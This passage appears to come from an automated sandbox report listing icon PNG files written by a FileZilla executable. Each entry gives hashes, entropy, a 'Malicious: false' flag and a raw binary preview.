File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	997
Entropy (8bit):	7.704921904824094
Encrypted:	false
SSDEEP:	24:A0mwJl1g/5mgdSPMt/UOpCY/L1cnte/VIuJ9:ATO7gbks8OQCKcVj9
MD5:	8B6396D577338CD6EE71133A36A8B010
SHA1:	DA48E07641BAF954FDE4894D8D9443C01521FAEE
SHA-256:	DA37AA17497C5F6BE0A61B08B687A6BFB6765A069D997592B32AA347542E1213
SHA-512:	EE829D8B53D853EF7D9B2A76325FCFE371AC27DEA1A2814D23B773DEAE15C61DD2A0183C1BE028FCF941B7E01F3AE4B618D07AC070EE86B63908969FCD111BA6
Malicious:	false
Preview:	.PNG........IHDR..............w=.....sBIT....\|.d.....IDATH...[h.e...gv6...n.....B.mZ/i.66($"..`.A..R.D.B._..(..P,....`K.....>I/..1.4...I6....fg.......H....w..w.o.3B....'..$pH........$0............D..0...........9.?75....$:c._!....uy4-p..n.B./.....H.f..".rT.{..~..,.....0""....8.........[..1V........`.H0$...--.r..Dg.8^K.;.K..ob...w.d....mm).K..H..1r.b.M`........}.1.p....&...s.4...g. ..Rmw.....SY.a.(...p.V..wm/W....=......2.,.m.b66...D.~&...0./D..!.......\|.......:..?..j.X.......d~..V}...o.+?..NhM.=u....BU..\....y......@.p..5.......X...Jj..R.g7.!..i..zA.]..-../.I..n.N..hh.'.UM.b...z..{......2...r..{..w..b.5..}o....T<P..{d....s..=.2"B..n....\|.VUsc+.k..x>..S`....7....&....-o............o.Tc.WU/..J^.r.0...`)....&.. ..U..9.?K.L....?....p.&d.u[.\......?7=..v\|..-.1W..sK......407}q*...z..>.^~n2..@......Hf......<f.Dk..MU}[...K.....4...J.@.`l%=k"g...$..X.pnU...j.....[...+_........[..n.3..?$F.@.UM.}ofl%sm...X.B.........P..(....z....n.N/......IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_close12x12.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.14065601820569
Encrypted:	false
SSDEEP:	6:6v/lhPIcssvNHh96ZRQbx1VQqieMLdeZItThHZxlVpujpKyKGjfRVp:6v/7DpNHh0S1VQqZMLCK3p0pEm7
MD5:	E1A12CB9A0331345BE632A87F720D0D2
SHA1:	0788ECE1487C7EFA812039A5B0B96F4ED7F29D1E
SHA-256:	13CEAF1E781DB57FCDCBC30882763FCCE095EDCC99AF0AFCB2D2B227183A85BA
SHA-512:	0F6FB2357BA8D16E2D7347C970100ED1CA1D740C42BA80920B2F0690088FB160E05307B7846C4538FE9D0A0BC5B4DB7DEB0FE9FB786DFB10967F8CE50BED6ED9
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sBIT....\|.d....)IDAT(...=K.A....;....s.k.H.5...v".......?@....3..`aa.W..6.."9.Y..p.VN3........#I..1.....sP...cL.HE..nc.}.........Z...8.Ed.7.J..`.....l6.....k..z)"...\|.a....L&w@#(.Yk.k.Vp....rU....^zx..W..1#.)5.!...j..Y..W.4...J.b.x..`WDD)....g.e......@T.....J.K.'../.Y=.a.....M ......n........F.W.....N.h...k....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_compare20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.6928425469360695
Encrypted:	false
SSDEEP:	24:kNOrRQVpFW/fmy/GwlAVLUtkvEaTz8zWhqe9rL:d7my/1lGLWGEaTzYW/N
MD5:	201C6814F606B793972A50C90E5969FF
SHA1:	90000D5D6FFE067FF2007B70477068E9816F820F
SHA-256:	45A3DE04CAA4F2829AAF8AA3997D7514AB7A71DEF54510D78847779E7767ACDC
SHA-512:	F3BDB04C81E2771D83C4F777526EC8F9C718F3636D8BEF063B36403164783EA53A39439EE8188D2437BEE26D3404AAB0B5C139F2855A59DBC8768CEF78523E6B
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8....KcW....3...1.Xu%F.!2......#B?B7...v.&0P).....k...(./..........P:3.o...8unm..\o.......D;............[.Zu).<..?.?.}.?OW....s...Y.0........@...8.i.p.F...R.....3.......B===..X...az;u...Q..kk.....f2.....X,&..(..P.TPU...yR.....o6./@....R......i.....\|.!.u.D"A.T...........E.'.]..'..<.J144Dww7.`.EQN6....(sss<..1.V..8.8...H$.... ..c.&......9.%..../..t.;...)O.....xhkkC.4l.n....".. ..{n..R.tj..f+`.i...zK..~?.b..EQ.:.;....`.\.0..4/.\.#.......8.......,.....W..[[[......7....[..aff..0(.....,--a......?..&.+...Y6.&.q..j...............QU.M.....n...k.m.......M....gq.V..........i..i.6`Y..m.H.r....5....T....'R..J...f.&''g....B.&.........(i...F..d.}.s.Or...0.G.&..M......>^..P.....m...kY...+....z=..gM..j.]]]_r...L&?.,...../.....~x..pu.o.l.....>\|.........IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_disconnect20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	650
Entropy (8bit):	7.512467404371971
Encrypted:	false
SSDEEP:	12:6v/78A9pu/UUanfAQgVv3dLaXxFln9cqNtbPFN+NDQwyB1cepvN:yPu/xbt39KxFl9x/bPfyEvoepvN
MD5:	83A9C5C3B1F35ED0831BF7DDD4C770B9
SHA1:	BF3444E56A17DB38D748E8B41D57BB8B9D060279
SHA-256:	B8AE6364C0E09631E8585ECC9CCBD18FC4A34AA5E46C3C5F7B9B94D0B02470A4
SHA-512:	FBBE07E092F3CC29A03C46A22587F498B0C2B83E602972ED8D91B4EFD7F01B0F13230DB1A14598F2233B0D4B9B49CD813222148507073820EDB2E31F05F5F0F3
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d....AIDAT8..OHTA..?....[.+...W.{.[..%b.)<u1/!B.Ex..:..&]:...D.@/.!j..A..NBQ........Ow.{;...Oso}O3.......!..!...&..y...\V..M.6.5..`;HX.....-h..>.J<]...v..&.h.s.H...u.@.(.....2.h..c.x..@.../...d..d.7..hP.w.\|....'.}.b.H.............`g.7V..{Z.'....=.....:..kPM..w..@7g`._...Rz"..I.h....>..H....CM..H..@..J...?...3M<.D...nj.I.$F....3n)\...@.PJ. @..P\|=...Q...&..%aK9w.X..KJ70a.X$..n....c...z.R..0.(..ggg....0........E....h..c.....'...chh.x<...?.ri...'j.R.jO.'.....Rt]gpp.Ph../......![.....%...AKJ.."BJ..q.MJ).in..w.fx{...mc.F.g.d.v......u.....h.J..@.p..H.a..0Z..qE/D....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_dropdown12x12.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	198
Entropy (8bit):	6.497648539096697
Encrypted:	false
SSDEEP:	3:yionv//thPlZl+cssrtxBll6+0Nc6Cqxh9WTISFMubQDG/6AG3m2xS6V2mOR/llN:6v/lhPIcssY+09q3KtDGiAiS6V2ljp
MD5:	C3FD3CC255E094B1E22D3B33A4AF1E8B
SHA1:	D0EA20A066994B5DE7772FACC2963B88C99D1B27
SHA-256:	F57C54809C6F56867D167BFCF4763D6A4ABE4E27FDB9C4421CEFD6FCFA68CF1E
SHA-512:	06FCF40DE2CD8208E90E3DEB1C64CBF1E5C2A1425F5EC1231FD46C2261980F344D11D58B75FA1D511D72CF979EA19385A6F998796CBA8BACD2F58530CD332BF3
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sBIT....\|.d....}IDAT(..!..A.E....{.2...%. 9......+F..K [..Lv.v.l..-l.....8..%....$=#.&.4g...Z..;}.f6..>r...r.......}.....zy.3.SJ.`..-..7w8.+.;.....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_file16x16.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	192
Entropy (8bit):	6.397135716407512
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllwoIrUG1UQmtYhP38uF4v6c6xYh3QnFROwrDOT+H:6v/lhPysaoiiQmihv8uo6cUYByLOwM+H
MD5:	4C60EE2697897C9D4F78BA92BC464630
SHA1:	9F051658FA3443CF32F93EC0B06D29356808419D
SHA-256:	7BDC9AFD55536992299C1C92E0E4A74EDD7C9819641B613F012E9AB1086E417D
SHA-512:	D92318301DD5B851BF1EC52E34243AA708188982CF1A8801FF0297A80162B8F47B3D713742CDC392103860CD676904319829DF2BB0879FD2D68910B6969C00A4
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....wIDAT8..1..0.......C..".>......\|.i..K.E.B.T+.vo.&$....t....E..!.$u.^.......=....`n........8.2U.f..16[J).!.bas.........:n.j..!....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_filter20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.43127749218001
Encrypted:	false
SSDEEP:	12:6v/7UJnGVR1aLPz7ccbh0eULibJ8oe0KrGpNOtN:/wR1OPzoKfgcJjVKy3Oz
MD5:	58C60BF4F445CFBF3EAE0327B7253C2B
SHA1:	B2867E3F0D00705101E2C400421D28BB4FFFF2BE
SHA-256:	FD5A5A39708D3890B2D118A523F19D8FCBBA814D4E9D30732F1B67E385836B5C
SHA-512:	4C45DAF4971241597BE5ECFF28C05165B09A44F7966A846E22CAA9AA1F533C7563B84C663B57C2A4C5C34EB522BA8BA53A849FF0F4145DC55448E16D8C1831D4
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...K[Q..?..F..Q.j..P.I....P0s.n..^.Y....J......N"B&Q....,/....g..A..y..C....h.w...~....=.i..`..\|x\...d2..".....t....f...j... ....v...O,...4.a.j.N..:...:'.......'..O.=;\|.1N.....85...%..qiAdv.S8...........py.......B.v..........kcaXY.......Kir_r..'@..[g[.M.g...F....q.U..f....1.S8=<...D......p.J....IO!.2.)o....dm.._.....-.`aGM..p..+.t:...W...z...T..m.8...zh....'..s......B.[a........3...\.......IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_find20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	721
Entropy (8bit):	7.63919068429158
Encrypted:	false
SSDEEP:	12:6v/70kLUJQ0ouNP1IGmceut+EkqLxUMEzFkgUfrZudHSjZNJlKmaZcKr+:5zSsP1IGmbtEkIU1zFArkdHSjfXYS
MD5:	3CC73AF5D633F172A9D7081B5D97E440
SHA1:	91CC77BB6220F0AF1BE1A4F4C24DD53243485F5B
SHA-256:	9BD6DBC93CB0EAF8628D176F2E92A47DE39D1E76FF89D71E20A0ADFCDE91CEF0
SHA-512:	50BC5B5BB89C6C785FC75E99B20B0858FEBCFBB16BFE731ECA716A740DF38120BA335DDCB73014B39797CAEDD721FE70D73DC188666AA1BC8636A595FEF19913
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...AH.q.......7..63H.h.Y...t..H..H..J.:...)...%.a...R.a^.,....q....n.......A......_./..rb(.:......H$...B....v+..,...B0..x!"...m+.?...hN._+.<..1.0Z.R.8.s....f.].1....o..i...c..q...4.d...i....a..@]ww.......~S.!Eam...Q.f...\nM)e[.e(....v.q.OMM..F...\|}#.(.u]...C......>...W......}.v..v..z......%..nf*mV<J..`0.Q.4MS.k.:...........:::.D..........'.7...n~.z..\|...211.@9.W..j.....BJ...iHp..8{.Pm.h.......0VH&...a.6.j..@ p..5..t..R....`i.I.+....e}.....8Nn+..v...5.p...-B.!.....s.....y.X[q"......S..._B.A.....\|#.l.c^...4......L+..-.S.';..v.......J9.0M.....N.X.E:..'..stt.....+..?.......UJ.2.......X,..,..J....b..t..VEd...U.....O.4\.wzD....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_folder16x16.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.892803270827946
Encrypted:	false
SSDEEP:	6:6v/lhPysBQGaiwp0YsCGjQ+cXPJZ38H7eQwftPLi34dWK7GlrTlp:6v/7+G4pSCm9APJZsbeQotPLi34dWSkf
MD5:	18263DB84790C6905EB697A03CF0584B
SHA1:	75C5A5382FEE6B3BF794EB7F15AFC273931DF1B6
SHA-256:	2E5E33B852EF77A4AECEE518B56629D344AFE40F8DD7DC0CB604480108293CCE
SHA-512:	7C6EED8922190FF5214B9948F17FDD8E263ECFA2A328EB8B3BC5F873DE95EBB65CC06D594AB41B1E683D140660C88A9DFF0DE353A88792D6E6AB7D414612817A
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8....N.P...sZ{..L.7\|..#O!..o........+..Bt0n..`..`.M..-~.9.~.9.3......g......5...7..^n&..(..3........$:W....F..#v .......lB.Nl./A.^ R......!@. h...........4v....Ea9.P.......x.....;.l.......-..........p..N0.........IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_leds24x24.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1677
Entropy (8bit):	7.834265423268696
Encrypted:	false
SSDEEP:	24:crsEjseUosqhKwx6FK52mpOC1QSnLBRXeePhx6grmcycwP1BOTlBKVyUs5Rd7B:KsCTrAC1QwBReej/Pk6Jf5RdV
MD5:	005C61A23448C7364F09A0B8CD9FD446
SHA1:	A8269AA799852AE86EC5DC4484FBC8BAD7F91A18
SHA-256:	CB735A026430D839F9D8381BE8B936D4FF368E13558D0B9284BE7A0D3C95FE13
SHA-512:	FD86194719BE9B495F9524646824E36258D39E496885076841EA9C751FE633B15266D134742DB0269787BE23FCE86FE65B7488E49B873EE876EDDDE8916295CD
Malicious:	false
Preview:	.PNG........IHDR..............w=.....sBIT....\|.d....DIDATH.}..O.g..3...a<..m0...4..6..........i..vQ..S....C..../...Jr ..J.K84..X..8^b..~.;3.WO....U...\>.<..4..p.n.I.\.Eq...Ey..{.......433...:..DQ..=...[.n..<...........". x...F...k.=.$.D.z...<.....v].........iF.._..{ I...D.K$....3...l\|........&.......J.-G....o2....f.......}}p]..e.1M........Xl.....J..4.]..lg.\|.....4@..M...).....=.D....EJ).[....jg'...M..a.6.(...=z..".+r .HdY.;.........cr...R...O..v...,..Tj.ed.+...6.XG.....jU.}.4v....R.."........R.z.. .G8.S.$)B)U..,....:.....!..e.J%x.._....e..X..~.-....Z.X..9....E.,..8...? \|.lSl...J...M...<...~....t).....{.......ncL...,...\|(.Z+..BK$..v~^.om..2.z.q..F.@.@....UUM.''..E.`.@......j.............E.1K.m...c.Z.f.0.......NM%[[[...........p....n......RU=....9q..(.s.ju.......l..............z2.....$.q......q._...K...c,....=-.-..x.d,....o.........{.b[..Ap.z...W.....p....tcc...x....N....XN...9.{&..s.f.......7.q.....DQ.(.!....z}..R.E..^.</..H)..<....!.\|.E7.N.0.Nv..'x

C:\Users\user\AppData\Local\FileZilla\default_localtreeview20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.070361719332529
Encrypted:	false
SSDEEP:	6:6v/lhPUygsmJDsDgW4pyUkYfnmZUN63wgLU2FssJ4f8k1FwtvXE1J/jp:6v/7M2lEeZUND7fF1ivSJ1
MD5:	6F1521A05994C29F5DB6711A2A56E25A
SHA1:	02C079BC8B2696C57FDC4CC4E0BCC026F31AD8E2
SHA-256:	C0B2F0998B11BFBC0D5EE0FBCA3320CC79A5AF5DF16800F7EDAAB99C7AF0949F
SHA-512:	4E8C58364D2787DE551EB1C9291E347E5C9C9031906F93ECA667CE5A097C025DA2B91ACF6A1A7DD1AF6ECF59C9DF29B39ADDF9F73BAE35799CD153D12405EDA7
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...J.@.....4T.P...d....O!A\.;d.]\|....@.N..Ny....%[!.2d8.4C8... ".M....?.......(.....r......7Q.=.e..A0$..........H...R8.....Q.....n.nO>..f.;.PUU..$...,Kp.a......=.d.9.c}.F....O..^...g....t.Y...~..x.Y..Z?p..,P.......Q.A5....i...t...kqQW..UQ.......o1)....{...S5......F;{@mO..../....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_logview20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	603
Entropy (8bit):	7.488562276939537
Encrypted:	false
SSDEEP:	12:6v/7CSYJaURMdwEmJXPV9rqHSdih5/Mc3+jHuYqo43H+Jtlr//y8c:B/J7cmZNNqHSdGl+Hufl3QR/y9
MD5:	7CDD1BBF7FF3DDABA37B94B3A8844EFA
SHA1:	44A9CA2DB9EB12457F6044CCD0361CCE001D1197
SHA-256:	682ADA4732A0D9282BA25B65C17D5C487DEA484A95E04E5C50E5C3FB2550F0F6
SHA-512:	B884AF56A671DB8850450CAD5BACBF9975A377F6EAB919643FE6B52E25553725A1E8748B7A8D115AAEAA5D517344FE7B7E316652CF0D08E662F026A5D86967A0
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...1LZQ...wy..A.....q...$1.D.MZ;Q..\.....ZGG.....v........@CJ@..J......}...=...=..O.Ba.8..xD~..v\|\|<#....xe....iA....M..w.\|>.eY.7.A:.&..8P............f...0.L...h..X....A.R...b.o..l6;.g.V..a.\.....w......`uz..+a...S........8.......~\|.....8..an.c..U..I.g....;T[..."DC......S,...+.T5.....:..dg.T*qyy..a...?..].1M..4]..@{..m.y...PJ9.....Lfx.=.i}.P0...&Rv=A4....~=..R......._i>.G....J...._<..5.a......h..4Mckk.S...>1..h.h8.....V.''. .....S...-.h..;H$........\ON)........R..O.....&..}..Z....x<..).....0... .k.....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_processqueue20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	7.73980574190701
Encrypted:	false
SSDEEP:	24:llqleVTj+6fEZAbr4GZJQ1NPz2PdonXlqzOJ8:llZT5EGLCpzIoVqzOJ8
MD5:	8981536CE9B6CA800D4AA3E1531F5E18
SHA1:	1ED691150BC93181D6B54AA361EA7E8459F2D81D
SHA-256:	FDF9033E11E9A2573320A4012154D4014AD288C3F6528079F22379566BE75D55
SHA-512:	ECBD333B3B473D4647B9EAA03D26D010B04D0061BCFA6D196190AD05AFE59645A42AA19C7397E03804225C4FA692A102AD3A08CC8F0E9E0FACE561B9AF077D48
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...Oh.e....L&.$n6Q.7.6..V...v.B......x.JK<lHK.AJ.zjQOU..4...H..?.l...nz.Mi.-......k........!...[.s..g...=<.PR.d.Rj3p.....#7z..oU..G..a...0.....Nt..!..wo...u..2\D..9.x.....@..b.000....w#..n.F....^).n.=.0.p...[.zc$.i..D,...z.x.q.......;.`.d....\.I.L.4..\5.0.])e..."...4.Q...y^..`.C1..\.x..t0.kB.P.0...L&sH).'.m.......h.c....#..R/o..n.^....6477O..^.d2y8...q]..@ .8....>.4`..r.r..fj.\|g.2.o.........p.OO...a..(...---..!m..QM.F+......!?S.L.V......V.,.:...pED..8.3.H$.....4...yh.J.........u....D).q....e=.....:5>>~[).=22.n>......./gffv'..AV.,:@s..1A^..V..Z...O3.x.@............p8<eY..P(.F]]]....a~~>Y(..{$T*7u.C.B..d~....pO=.755m.,.i..X.e.G"......^;..........gm...p.....v9......[@.};...V.....o.B0.\|N....\6...0...$..,.P;..h~:t...Z.\......w.0.4M..4.R.[@M....R.....R...z+.c..[d....r...y.....ggg..R.e '.........../O...=...5.{'....@..[u{-...Y.2.%...._.2..@.XW..u.n.....z]...Z.\|. .M..<...Z........3oV....IEN

C:\Users\user\AppData\Local\FileZilla\default_queueview20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.570762115435725
Encrypted:	false
SSDEEP:	12:6v/7bOg8TwLXztCiD0QNxb89vizwxWBLBCGbxO3dzb5BQZUhxyi9:Bggkt1Na9vKUqBtxO3RbMUh9
MD5:	FF1A0CACBDBCADD77C43F9E245345755
SHA1:	43A7ED25D468CF2314923F3234FCD8784206B3AE
SHA-256:	281C277F9144F6E43BFFCEF5AD6888E9B8356AACAD75292DB364EA23BF2818C1
SHA-512:	A46505A82C4700B7F6E33BB9160679F065DA7E684F4C3EA4B87359429A12C0E25066549090A94C3577C9119895EA306C431D4AF81252999ABE09BDC204806729
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d....-IDAT8...OHTQ......6.+Ql.....).u.m..P.D.P.Y..jU..Ve..EQ...."b.i3D-..,l......i.o..73.}p7.=.w.{8\. s....S..V..."VC.oT.....i>1..}"..}...."..r4;m.C.W......`...-"...c.bI.(.HYV...<...R}zQ.....:i.Q\|0~.h..{._..:.......q..:.....u.@g.Qm.v....@\|..m ....A.e>3.t..8...-..~.~.~.....C@......S......X.jv..+.B.b^.f...~..ak.Bc...=X\|...tU...Q.`..y.Cc..`..f.:.;6.b.To._Jj......B..G#P....A..N..!.S...t...O.BX...I.~....o.\.(..'W.l5.."..0pU.`..OM.f.R....m...i...m;.\|.!..z1q..Hg.._..>..8...N<...w.....lS[.&n...8ww..`.\...$.w...d...J.)'5...Kn.> ._fy...D.`.t...Rz.,..x.....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_reconnect20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	550
Entropy (8bit):	7.446043576043875
Encrypted:	false
SSDEEP:	12:6v/78PAfX9TV1QeRbpW8kIUgcTJ3PKgRUau4MK1:hYftTDQ0bp4x7J3P7RM4MK1
MD5:	0AFE55D6CF1766E96B09E7CA9A663FF5
SHA1:	84EC934A9CEC8C8C05BB376F2F6C0D25F5D3F8AF
SHA-256:	4911B7816BD68BE298B77F97B9042643A1353826ED74A98B4B1549A225370D9A
SHA-512:	30B1EE14016EBECCA27385DED905B5F9FD052650F7F5526661FACFCA3CB79378071DDCB792DF6C08F41A864B9E5FDB0E6511A16D3750C3B102D72DA61AE680BF
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...k.a.....$..M........n......t..A..dsr..."...........".R.p.KJ......b..?.?..}.{.{.Q..R...8...:.X...\|.]..f....y.]`v..k....\|=..~.e.g..L..+...A...@o"...P.............e...4.K.p.t.?.:..K..N...s1....Y......'.......w....O.N%x\|o&,../..ueh..k..A..-.S8(,...Po...?......P.9.....<.......@.F...........+...zR.....v{.l.[tM.#9z.z..8.=.?...*..(X...R..R.Dc.....@.,.V._\|b0...C)..X.E..#.r...8..i.6Z.X. vB..`..vNw...r.:...X".....c.E.....f3.I..vR.7.8.`.d..I.D.n..........?....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_refresh20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.677118109041778
Encrypted:	false
SSDEEP:	24:RwBR/UExIs26EMU+OWeX9mdxkyrSOhvoL:4R/532r+OWx+yrroL
MD5:	4200F34DDE6326197C308F620DE40E17
SHA1:	65EC5671DFD1379228C3EFCAD08E29CC2744BFB1
SHA-256:	81FAD4C1D3BB7678FCD32B29DCF113B4AB869653C4A31EDEF61EC560CFD1D5B5
SHA-512:	2B268F9D2A4D04BC805BBCEF9214E951E54B6C67DF8A9F28824ECE7EC1A5D137EF68C3F4FB8EFC8F3DAEDFD0E53416861F8BD6F0DD9F890C98E2A6A247FA95C5
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d....<IDAT8.}.Mh.e....;.....q(.)YK..B.....Cm...+.!.b..1H=.h.E...=....~....h......5.H.X....ffg.}<...n..^....x.f.U.8q...q.G.M.[..\|..!....j...n...J......i3$R.W../......;..z...^...O..i....jU\).Z=)....8%.7wph....i.Y.k..!...)+nWVD.V..n`....<.q8....'....k..\|..C.A...._.N.X.H..P:.}b.{G........,".....b.=D.D.,.......n...\|u...@..3......w....3....Q.:.2.t.......%P.UU?.....7.jrV .S..Zz.x^.......$]..J..7.....N.yR.....k}.Z.0.Z.Q.Kr.E.W ._.O.p..D"....4...h....2H.z[.+$[.o.6..Fs[s.uz..d.K... W.......)XU.?.?..;..t..M...2e.....D...Xa..t+...].......R+..JT.0..........F.`.O.YA^.0...nG./...D..6`.fq3.u.Q....S.BX.X3.....qM...`<#Z.s3...e..`6x.4{...}...8..H...........x..w...=U....`Oaw...7.G.o.K.W...1)cL.V.........._Ul...X.......G..jWjOX.U..+..=_.,.,..?...&...=.O..?.?.nx...c..;Q\|..\|.[pfv\|...z..X+....n....'......../..F........IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_remotetreeview20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	356
Entropy (8bit):	7.098917656044776
Encrypted:	false
SSDEEP:	6:6v/lhPUygsY8xwQ6LmoekoGd5l8V6LnTIPIKoEz+hv72GJRJdSd8Q1Up:6v/7teLmTko48aFKouIDJrmW
MD5:	6C92B93B3D359862261CA013F82A67B9
SHA1:	686D673FEC2C04806D5C696289C4101DEF3485DD
SHA-256:	C9FB39828A6523088FACF944E2DA8BB2844D902C23BF37CBD9A855B316E507D6
SHA-512:	270A42B391EBDC46F8186F18EEC19608E9251DA692C611C36D8511362B12DACB8A4DA41E1F4D6F53F55C7A219396E8A2D029CD1C758BCDC7D2E69C946308C128
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8..J.@.E..&.E.q..I...V.......`..6V..@J.!v."....X.]@.V*DA.&1.XE..5...[......e.c..`.).X..O!UU..N....Rj..}S../.c..S!...E..e.8.Z.>pfX.e.aX..m.#.......smf...........g.y...M..(.X.]5....v.75[Ku.4.;......Y.p..pcy..OS.........)..7...Q`...,.'..p5I..,.>...(x....UY.'G..@...J`..E...u..aFO6.......IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_server16x16.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	7.158000699972321
Encrypted:	false
SSDEEP:	12:6v/7Owh1/PXwybmfGFXrslP5dy8MFmFuA4jmt52:JvfGhr+dy8MFErL2
MD5:	6670CF82643C30A76C2DACA06C905300
SHA1:	FA7D5E4598FB5B0197089789E8EF86C58A1844F7
SHA-256:	DF80C93867BE064951F5D8368C88EBBA3364BBED135DF9D9C563B805A7879546
SHA-512:	58181376F00C066A5F60C64635C9E3C22459F1D422C947567615435EE6741C72E7483FE4A9C60CF4EA3C412B9E874A1D7546056DFF65354FB79A67A281CEA4E3
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....KIDAT8...J.Q...w4...c.....\.J7A............GHj...m..bh$.h.3..."-u....6..w.s.Q.M.T.RJ.M.V.c'".Z.xZ...(.....lw..^...ug..j.X.....b^.T;. .....k ..Z..._.i.6......2...gD._.t_........D.Q./....h.....r.....H.""J.W.h4fZ...8.v.[..X..o.&.v...q..y..<....b..u]].V/.w....B..r..4.m.`/..f..Z.m....J....a..z.o...#.N'. ..{.\|.bi........#`0...-.sN.._i....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_sitemanager20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	994
Entropy (8bit):	7.695952030947907
Encrypted:	false
SSDEEP:	24:ZEDGAL4qqJmCvvCLAULHyuqhH1vS7if/ApSJ4pWb:ZcG2GmCX6Aoyur7iApSKp0
MD5:	0DA3E808ABE002C20B4451F5D0F2990F
SHA1:	45D6184F6B856AAE69E20FC957A0C7D65486BC00
SHA-256:	6B2CE84C384134C13BCDBF03F3163EBD9B59E6E40D5A881DF02A2B671F8F12A1
SHA-512:	941AA113DB81A0651D5A4CB8BAE4AC3CC6CEA14051DFFB0C1E6A5B4588F40A48412814D3210E89283E1DD9F82A7E2AA24ECB67C5CDF40803EC5DF26F4DF4E20E
Malicious:	false
